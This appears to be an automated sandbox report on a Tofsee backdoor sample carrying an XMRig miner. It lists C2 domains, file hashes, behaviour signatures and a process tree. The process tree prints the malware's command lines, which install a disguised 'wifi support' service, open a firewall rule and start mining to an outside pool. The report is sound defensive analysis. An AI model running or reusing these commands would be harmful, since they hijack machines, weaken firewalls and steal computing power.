Analysis

  • max time kernel
    142s
  • max time network
    149s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20221111-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
  • submitted
    08/01/2023, 17:36

General

  • Target
    file.exe
  • Size 259KB
  • Sample230108-v6lcmsec28
  • SHA256 ac1fb80036824fac4e75481b27ff015780f183b38b0809635edf4a66f2334670
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4912
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\mefejqhe\
      2⤵
        PID:1316
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\htcqpluz.exe" C:\Windows\SysWOW64\mefejqhe\
        2⤵
          PID:4500
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create mefejqhe binPath= "C:\Windows\SysWOW64\mefejqhe\htcqpluz.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:740
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description mefejqhe "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2964
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start mefejqhe
          2⤵
          • Launches sc.exe
          PID:2068
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:368
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4912 -s 600
          2⤵
          • Program crash
          PID:1924
      • C:\Windows\SysWOW64\mefejqhe\htcqpluz.exe
        C:\Windows\SysWOW64\mefejqhe\htcqpluz.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:2844
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:5008
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4052
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 2844 -s 536
          2⤵
          • Program crash
          PID:2612
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 480 -p 4912 -ip 4912
        1⤵
          PID:4072
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 2844 -ip 2844
          1⤵
            PID:2700

          Network

                MITRE ATT&CK Enterprise v6

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                htcqpluz.exe

                • Path C:\Users\Admin\AppData\Local\Temp\htcqpluz.exe
                • Size 12.6MB
                • SHA256 d8e474e69c9c697d2751baa60d37e9825882b884dd2727f91f90980d32bee0c9
                • MD5 SHA1 SHA512 SSDEEP

                htcqpluz.exe

                • Path C:\Windows\SysWOW64\mefejqhe\htcqpluz.exe
                • Size 12.6MB
                • SHA256 d8e474e69c9c697d2751baa60d37e9825882b884dd2727f91f90980d32bee0c9
                • MD5 SHA1 SHA512 SSDEEP

                memory/2844-152-0x0000000000400000-0x0000000002BA9000-memory.dmp

                memory/2844-150-0x0000000002F89000-0x0000000002F99000-memory.dmp

                memory/4052-178-0x0000000001200000-0x00000000012F1000-memory.dmp

                memory/4052-173-0x0000000001200000-0x00000000012F1000-memory.dmp

                memory/4912-145-0x0000000000400000-0x0000000002BA9000-memory.dmp

                memory/4912-132-0x0000000002D0D000-0x0000000002D1D000-memory.dmp

                memory/4912-144-0x00000000048E0000-0x00000000048F3000-memory.dmp

                memory/4912-143-0x0000000002D0D000-0x0000000002D1D000-memory.dmp

                memory/4912-133-0x00000000048E0000-0x00000000048F3000-memory.dmp

                memory/4912-137-0x0000000000400000-0x0000000002BA9000-memory.dmp

                memory/5008-154-0x0000000002800000-0x0000000002A0F000-memory.dmp

                memory/5008-157-0x0000000001FE0000-0x0000000001FE6000-memory.dmp

                memory/5008-160-0x0000000001FF0000-0x0000000002000000-memory.dmp

                memory/5008-163-0x0000000002DD0000-0x0000000002DD5000-memory.dmp

                memory/5008-166-0x0000000007840000-0x0000000007C4B000-memory.dmp

                memory/5008-169-0x0000000002DE0000-0x0000000002DE7000-memory.dmp

                memory/5008-153-0x0000000000CB0000-0x0000000000CC5000-memory.dmp

                memory/5008-151-0x0000000000CB0000-0x0000000000CC5000-memory.dmp

                memory/5008-147-0x0000000000CB0000-0x0000000000CC5000-memory.dmp